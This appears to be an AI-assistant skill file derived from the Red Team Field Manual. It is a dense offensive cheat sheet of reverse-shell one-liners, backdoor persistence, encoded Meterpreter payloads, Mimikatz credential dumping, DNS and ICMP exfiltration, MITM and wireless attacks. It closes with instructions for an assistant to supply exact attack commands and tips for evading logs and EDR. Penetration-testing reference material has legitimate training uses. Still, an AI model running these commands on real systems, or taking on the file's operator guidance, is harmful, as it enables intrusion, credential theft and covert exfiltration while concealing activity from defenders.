# Victim (server): client=no, accept=4444, connect=127.0.0.1:port
# Attacker (client): client=yes, accept=5555, connect=listeningIP:4444

Reverse Shells

# Netcat (start listener on attack box: nc -lvp 1234)
nc 10.0.0.1 1234 -e /bin/sh          # Linux
nc 10.0.0.1 1234 -e cmd.exe          # Windows

# Netcat without -e option
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

# Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

# Python
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

# Perl
perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'

# PHP
php -r '$sock=fsockopen("10.0.0.1",1234); exec("/bin/sh -i <&3 >&3 2>&3");'

# Ruby
ruby -rsocket -e 'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0</tmp/p | /bin/bash > /tmp/p

# xterm
xterm -display 10.0.0.1:1
# Listener on attacker: Xnest :1
# Permission: xhost +victimIP

Persistence

# Linux persistence (crontab, every 10 min)
crontab -e
0-59/10 * * * * nc ip 777 -e /bin/bash

# Windows persistent backdoor via registry
REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\backdoor.exe" /f

# Windows at-scheduler persistence
at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\backdoor.exe"

# Windows SCHTASKS persistence
SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\backdoor.exe" /ED 12/12/2012

# Remote payload deployment via SMB
psexec \\remoteIP /u domain\user /p pass "\\payload_ip\test\msf.exe"
# or via WMIC:
wmic /node:remoteIP /user:domain\user /password:pass process call create "\\payload_ip\test\msf.exe"

Metasploit

msfconsole -r file.rc              # Load resource file
msfcli | grep exploit/window       # List Windows exploits
msfencode -l                       # List encoders
msfpayload -h                      # List payloads
show exploits                      # Display exploits
show auxiliary                     # Display auxiliary modules
search string                      # Search for string
use module                         # Load exploit/module
show options                       # Display module options
set option value                   # Set option
sessions -v                        # List sessions
sessions -k #                      # Kill session
sessions -u #                      # Upgrade to Meterpreter
sessions -s script                 # Run script on all sessions
jobs -l                            # List jobs (-k # to kill)
exploit -j                         # Run as job
route add ip nmask sid             # Add pivot route
irb                                # Ruby interpreter shell
connect -s ip 443                  # SSL connect (netcat clone)
set ExitOnSession false            # Keep handler open for multiple shells
set ConsoleLogging true            # Enable logging

# Create encoded Meterpreter payload
./msfpayload windows/meterpreter/reverse_tcp LHOST=ip LPORT=port R | ./msfencode -t exe -o callback.exe -e x86/shikata_ga_nai -c 5

# msfvenom with template
./msfvenom --payload windows/meterpreter/reverse_tcp --format exe --template calc.exe -k --encoder x86/shikata_ga_nai -i 5 LHOST=1.1.1.1 LPORT=443 > callback.exe

Meterpreter Commands

help                                 # List available commands
sysinfo                              # System info
ps                                   # List processes
getpid                               # Current PID
upload file C:\\Program\ Files\\     # Upload file
download file                        # Download file
reg command                          # Interact with registry
rev2self                             # Revert to original user
shell                                # Drop to interactive shell
migrate PID                          # Migrate to another PID
background                           # Background current session
keyscan_start / keyscan_stop / keyscan_dump  # Keylogger
execute -f cmd.exe -i                # Execute cmd.exe interactively
execute -f cmd.exe -i -H -t          # Execute as hidden process with all tokens
hashdump                             # Dump local hashes
run script                           # Execute Meterpreter script
portfwd add -l 443 -r 3.3.3.3 -p 3389  # Port forward 3389 through session
use priv / getsystem                 # Privilege escalation

# Impersonate token
use incognito
list_tokens -u
impersonate_token domain\\user

# Nmap through Meterpreter SOCKS proxy
route add 3.3.3.0 255.255.255.0 [session_id]
use auxiliary/server/socks4a
run
# Edit /etc/proxychains.conf: socks4  1.1.1.1  1080
proxychains nmap -sT -Pn -p80,135,445 3.3.3.3

# Create persistent Windows service
use post/windows/manage/persistence
set LHOST ip / set LPORT port / set STARTUP SERVICE

Mimikatz

1. Upload mimikatz.exe and sekurlsa.dll to target
2. Execute mimikatz
3. mimikatz# privilege::debug
4. mimikatz# inject::process lsass.exe sekurlsa.dll
5. mimikatz# @getLogonPasswords

Ettercap

# MITM with filter
ettercap -I iface -M arp -Tq -F file.ef /MACs/IPs/Ports/ /MACs/IPs/Ports/

# MITM entire subnet
ettercap -T -M arp -F filter // //

# Switch flood
ettercap -TP rand_flood

# Compile Ettercap filter
etterfilter filter.filter -o out.ef

File Transfer Methods

# FTP through non-interactive shell
echo open ip 21 >> ftp.txt
echo user >> ftp.txt
echo pass >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt

# DNS exfiltration (Linux victim)
xxd -p secret file.hex
for b in $(cat file.hex); do dig $b.shell.evilexample.com; done

# ICMP exfil of command output (Linux victim)
string=$(cat /etc/passwd | od -tx1 | cut -c8- | tr -d " " | tr -d "\n")
counter=0; while (($counter < ${#string})); do ping -s 16 -c 1 -p ${string:$counter:16} 192.168.10.10 && counter=$((counter+16)); done

# Wget file download with session
wget -q --save-cookies=cookie.txt --keep-session-cookies --post-data="username:admin&password=pass&Login=Login" http://url/login.php

# cURL examples
curl -I -X HEAD -A "Mozilla/5.0" http://ip       # Grab headers, spoof UA
curl -u user:pass -o outfile https://login.bob.com  # Scrape after login
curl ftp://user:pass@bob.com/directory/              # FTP
curl http://bob.com/file[1-10].txt                   # Sequential lookup

Web / HTTP

# SQLMap examples
./sqlmap.py -u "http://url?id=1&str=val"                          # GET request
./sqlmap.py -u "http://url" --data="id=1&str=val"                 # POST request
./sqlmap.py -u "http://url" --data="id=1" -p "id" -b --dbms="mssql|mysql|oracle|postgres"  # With DB type
./sqlmap.py -u "http://url" --data="id=1" -p "id" --cookie="c1=v1;c2=v2"  # Authenticated
./sqlmap.py -u "http://url" --data="id=1" -p "id" -b --current-db --current-user
./sqlmap.py -u "http://url" --data="id=1" -p "id" --tables -D "testdb"
./sqlmap.py -u "http://url" --data="id=1" -p "id" --columns -T "users"

Database Enumeration SQL Reference

MS-SQL:

SELECT @@version                        -- DB version
EXEC xp_msver                           -- Detailed version
EXEC master..xp_cmdshell 'net user'     -- Run OS command
SELECT HOST_NAME()                      -- Hostname & IP
SELECT DB_NAME()                        -- Current DB
SELECT name FROM master..sysdatabases   -- List DBs
SELECT user_name()                      -- Current user
SELECT name FROM master..syslogins      -- List users
SELECT name FROM master..sysobjects WHERE xtype='U'  -- List tables
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='mytable')  -- List columns
SELECT name,password_hash FROM master.sys.sql_logins  -- Password hashes (2005+)
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES  -- System table info

MySQL:

SELECT @@version                        -- DB version
SELECT @@hostname                       -- Hostname
SELECT database()                       -- Current DB
SELECT distinct(db) FROM mysql.db       -- List DBs
SELECT user()                           -- Current user
SELECT user FROM mysql.user             -- List users
SELECT host,user,password FROM mysql.user  -- Password hashes
SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'  -- All tables+columns
UNION ALL SELECT LOAD_FILE('/etc/passwd')  -- Read world-readable files
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'  -- Write to filesystem

PostgreSQL:

SELECT inet_server_addr()               -- Hostname & IP
SELECT current_database()               -- Current DB
SELECT datname FROM pg_database         -- List DBs
SELECT user                             -- Current user
SELECT username FROM pg_user            -- List users
SELECT username,passwd FROM pg_shadow   -- Password hashes

Oracle:

SELECT * FROM v$version                 -- DB version
SELECT instance_name FROM v$instance    -- Current DB
SELECT DISTINCT owner FROM all_tables   -- List DBs
SELECT user FROM dual                   -- Current user
SELECT username FROM all_users ORDER BY username  -- List users
SELECT table_name FROM all_tables       -- List tables
SELECT column_name FROM all_tab_columns -- List columns
SELECT name,password,astatus FROM sys.user$  -- Password hashes

Password Cracking (John the Ripper)

# Crack with wordlist
./john --wordfile:pw.lst --format:format hash.txt

# Format examples
john --format=des     username:SDbsuge8iC58A
john --format=lm      username:$LM$a9c604d244c4e99d
john --format=md5     $1$12345678$aiccj83HRD8o6ux1bVx7D1
john --format=raw-sha1  username:A9993E36406816ABA3E25711850C26C9CD0D89D
john --format=netlm   username:$NETLM$112233445566778899$0836F085...
john --format=netlmv2 username:$NETLMv2$...

# Generate wordlist with crunch (12-char, baseword + lower, upper, num, symbol)
crunch 12 12 -t baseword@,% > wordlist.txt

# maskprocessor — custom char set + 2 numbers + special char
maskprocessor --custom-charset1=\!\@\#\$ baseword?d?d?1 > wordlist.txt

Wireless

# Monitor mode
airmon-ng stop ath0
airmon-ng start wifi0
iwconfig ath0 channel $CH

# Capture WPA handshake
airodump-ng -c $CH --bssid $AP -w file ath0
aireplay-ng -0 10 -a $AP -c $CH ath0      # Force client de-auth

# Brute-force handshake
aircrack-ng -w wordlist capture.cap        # WPA-PSK
asleep -r capture.cap -w dict.asleep      # LEAP
eapmd5pass -r capture.cap -w wordlist     # EAP-MD5

# DoS attacks
mdk3 int a -a $AP    # Auth flood
mdk3 int b -c $CH    # Beacon flood

# Connect to WEP network
iwconfig ath0 essid $SSID key $KEY
ifconfig ath0 up && dhclient ath0

# Connect to WPA-PSK network
iwconfig ath0 essid $SSID
wpa_supplicant -B -i ath0 -c wpa-psk.conf
dhclient ath0

Google Hacking (OSINT)

numrange:[#]-[#]       search within a number range
date:[#]               search within past [#] months
link:[url]             find pages that link to URL
related:[url]          find pages related to URL
intitle:[string]       find pages with string in title
inurl:[string]         find pages with string in URL
filetype:[xls]         find files of specific type
phonebook:[name]       find phone book listings

VLC Screen Capture / Streaming

# Start listener on attacker machine
vlc udp://@:1234

# Stream screen to attacker over UDP
vlc screen:// :screen-fps=25 :screen-caching=100 :sout=#transcode{vcodec=h264,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:udp{dst=attackerip:1234} :no-sout-rtp-sap :no-sout-standard-sap :ttl=1 :sout-keep

# Stream screen over HTTP
vlc screen:// :screen-fps=25 :screen-caching=100 :sout=#transcode{vcodec=h264,vb=0,scale=0,acodec=mp4a,ab=128}:http{mux=ffmpeg{mux=flv},dst=:8080/} :ttl=1 :sout-keep

Netcat Reference

# Connect to listener
nc [TargetIP] [port]

# Start listener
nc -l -p [port]

# Port scanner
nc -v -n -z -w1 [TargetIP] [startPort]-[endPort]

# File transfer — push file to listener
nc -l -p [port] < [filename]          # Listener (source)
nc -w3 [TargetIP] [port] > [filename] # Receiver

# Backdoor shells
nc -l -p [port] -e /bin/bash          # Linux listener shell
nc [LocalIP] [port] -e /bin/bash      # Linux reverse shell
nc -l -p [port] -e cmd.exe            # Windows listener shell
nc [LocalIP] [port] -e cmd.exe        # Windows reverse shell

Python Utilities

# Python HTTP server
python -m SimpleHTTPServer 8080

# SSL-encrypted HTTP server
import BaseHTTPServer, SimpleHTTPServer, ssl
httpd = BaseHTTPServer.HTTPServer(('192.168.1.10', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile='cert.pem', server_side=True)
httpd.serve_forever()

# Port scanner
import socket as sk
for port in range(1, 1024):
    try:
        s = sk.socket(sk.AF_INET, sk.SOCK_STREAM)
        s.settimeout(1000)
        s.connect(('127.0.0.1', port))
        print '%d:OPEN' % (port)
        s.close
    except: continue

Scapy

from scapy.all import *
ls()                      # List all available protocols
lsc()                     # List all scapy functions
IP(src=RandIP())          # Generate random src IPs
Ether(src=RandMAC())      # Generate random src MACs

# Craft and send TCP packet
ip = IP(src="1.1.1.1", dst="2.2.2.2")
tcp = TCP(dport=443)
data = "TCP data"
packet = ip/tcp/data
packet.show()
send(packet, count=1)      # Send at layer 3
sendp(packet, count=2)     # Send at layer 2
sr(packet)                 # Send and get replies
sr1(packet)                # Send and return first reply

# Block RST from OS (required when crafting TCP with Scapy)
iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

Decision Frameworks

Platform Selection: Linux vs. Windows Native Tools

  • Use Linux native tools (netstat, ss, dig, iptables, tcpdump) when on Linux post-exploitation — no binaries needed, minimal footprint
  • Use WMIC on Windows when you need remote process execution, service creation, or WMI queries without adding binaries
  • Use PowerShell when you need file downloads, encoding, or .NET library access; prefer -noprofile -noninteractive -ep bypass
  • Use PsExec when you have credentials or hashes and need interactive shell on remote Windows system
  • Use scheduled tasks for persistence; prefer /SC onlogon /RU System for stealth, SCHTASKS over at on modern Windows

Choosing a Reverse Shell

Interpreter availableUse
bashbash -i >& /dev/tcp/ip/port 0>&1
pythonpython socket+subprocess one-liner
perlperl socket one-liner
phpphp fsockopen one-liner
rubyruby TCPSocket one-liner
nc with -enc ip port -e /bin/sh
nc without -emkfifo workaround
no toolstelnet bidirectional pipe
Windowsnc -e cmd.exe or PowerShell encoded

Tunneling / Pivoting Decision

  • Single hop, no proxy: socat or fpipe port forward
  • Multi-hop with proxy awareness: proxychains + SSH dynamic (-D) or socks.exe
  • Meterpreter session available: route add + auxiliary/server/socks4a
  • Need SSL encryption: stunnel wrapping nc tunnel
  • Need covert channel: DNS exfil or ICMP exfil (slow but bypasses many egress filters)

Hash Extraction Decision

  • Local SAM (workstation): hashdump in Meterpreter or samdump2
  • Domain NTDS.dit (DC access): VSS method (vssown.vbs or wmic vssadmin) → copy NTDS.dit + SYSTEM → ntdsxtract/creddump on Linux
  • Live LSASS (domain join): Mimikatz inject::process lsass.exe sekurlsa.dll@getLogonPasswords
  • Pass-the-hash: PsExec with -p LM:NTLM hash format

When to Use Which Scan Method

  • Stealth/IDS bypass: -sS -T1 -f --data-length 25 --randomize-hosts
  • Quick survey: -sP ping sweep, then -sV -A on live hosts
  • Behind firewall: -sT -PN (full connect, no ping), try common ports first
  • Service banner grab: -sV -p# --script=banner
  • Web screenshots at scale: nmap with http-screenshot.nse or PeepingTom

Vocabulary

AXFR — DNS zone transfer; retrieves all DNS records for a domain from a name server

hashdump — Meterpreter command that extracts NTLM hashes from the SAM database of a compromised Windows host

LSA Secrets — HKLM\Security registry keys storing service account credentials, VPN passwords, autologon passwords in encrypted form

NTDS.dit — Active Directory database file containing all domain user hashes; located at C:\Windows\NTDS\NTDS.dit on domain controllers

Pass-the-hash — Authenticating using a captured NTLM hash without knowing the plaintext password; PsExec supports this via -p LM:NTLM format

Pivot — Using a compromised host as a relay to reach otherwise-inaccessible network segments; implemented via port forwarding, SOCKS proxy, or Meterpreter routes

Prefetch — Windows directory (%SYSTEMROOT%\Prefetch) logging execution history of executables; useful for determining what has run on a system

SAM — Security Account Manager; Windows file storing local user password hashes; requires SYSTEM-level access to read

SID — Security Identifier; unique identifier for user/group accounts in Windows, used in access control

Volume Shadow Copy (VSS) — Windows feature creating point-in-time snapshots of volumes; used to access locked files like NTDS.dit without stopping services

xp_cmdshell — MS-SQL extended stored procedure that executes operating system commands; disabled by default in SQL 2005+

TTL fingerprinting — Identifying the OS family of a host based on IP TTL values in responses (Windows=128, Linux=64, Network devices=255)


Anti-Patterns

Leaving history intact — Always unset HISTFILE, export HISTSIZE=0, or link ~/.bash_history to /dev/null before conducting operations. Leaving bash history is one of the most common IR artifacts.

Using high-numbered non-standard ports — Traffic on unusual ports triggers IDS/EDR. Use 80, 443, or 53 for callbacks and tunneling where possible.

Uploading binaries unnecessarily — Native OS tools (wmic, netsh, schtasks, PowerShell, sc) perform most post-exploitation tasks and produce less EDR noise than dropped executables.

Connecting directly to target from attack box — Always route through pivot hosts when possible. Direct connections expose attacker IP.

Running Mimikatz on disk — Prefer injection into lsass or PowerShell-in-memory execution over writing mimikatz.exe to disk; AV triggers on the binary.

Ignoring architecture — PowerShell payloads must match Meterpreter bitness (x86 PS shell for x86 Meterpreter). Mixing causes payload failures.

Forgetting to clear event logsClear-EventLog -logname Application,Security -computername SVR01 should be run after operations on Windows targets.

Scanning from primary foothold host — Creates excessive network noise tied to that IP. Establish a pivot and scan from there via proxychains.

Running fork bomb unintentionally:(){ :|:& };: will crash any Linux system. Only use for intentional DoS testing in authorized environments.

Scheduled task binary paths with spaces — Windows treats everything after the first unquoted space as an argument. Always enclose /TR paths: "\"C:\Program Files\file.exe\" -args"


How to Apply This Knowledge

When helping with penetration testing tasks, apply this skill as follows:

  1. Exact command lookup: Provide the precise syntax from the RTFM when asked for a specific technique. Do not paraphrase — give the actual command.

  2. Platform-appropriate answers: When asked how to do something, identify the target OS first (Linux/Windows/Solaris/Cisco) and provide the native-tool approach before suggesting third-party tools.

  3. Phase-aware guidance: Map the operator’s question to the engagement phase (recon, initial access, post-exploitation, lateral movement, exfil, persistence, cover tracks) and provide techniques appropriate to that phase.

  4. Tool chaining: Many RTFM techniques chain together. When the context suggests a workflow (e.g., “I have a Meterpreter session on a domain-joined machine”), suggest the full chain (pivot → route → socks → nmap → hashdump or VSS).

  5. OpSec guidance: Proactively note operational security considerations — which commands leave logs, which require admin, which may trigger AV or EDR.

  6. Registry and file paths: Provide exact Windows registry keys and file paths from the RTFM rather than approximate paths; precision matters for scripting and automation.

  7. This skill covers authorized penetration testing contexts only. Always confirm scope and authorization context when helping with active engagements.


Source Attribution

This skill was generated from: Red Team Field Manual (RTFM) by Ben Clark

  • ISBN: 1494295504 / 978-1494295509
  • Technical Editor: Joe Vest
  • Type: security reference manual
  • Domain: penetration testing
  • Topics covered: Linux/Unix, Windows, Networking, Tool Syntax, Web, Databases, Programming, Wireless
  • Generated by: claude-code-skill (pdf-to-claude-skills)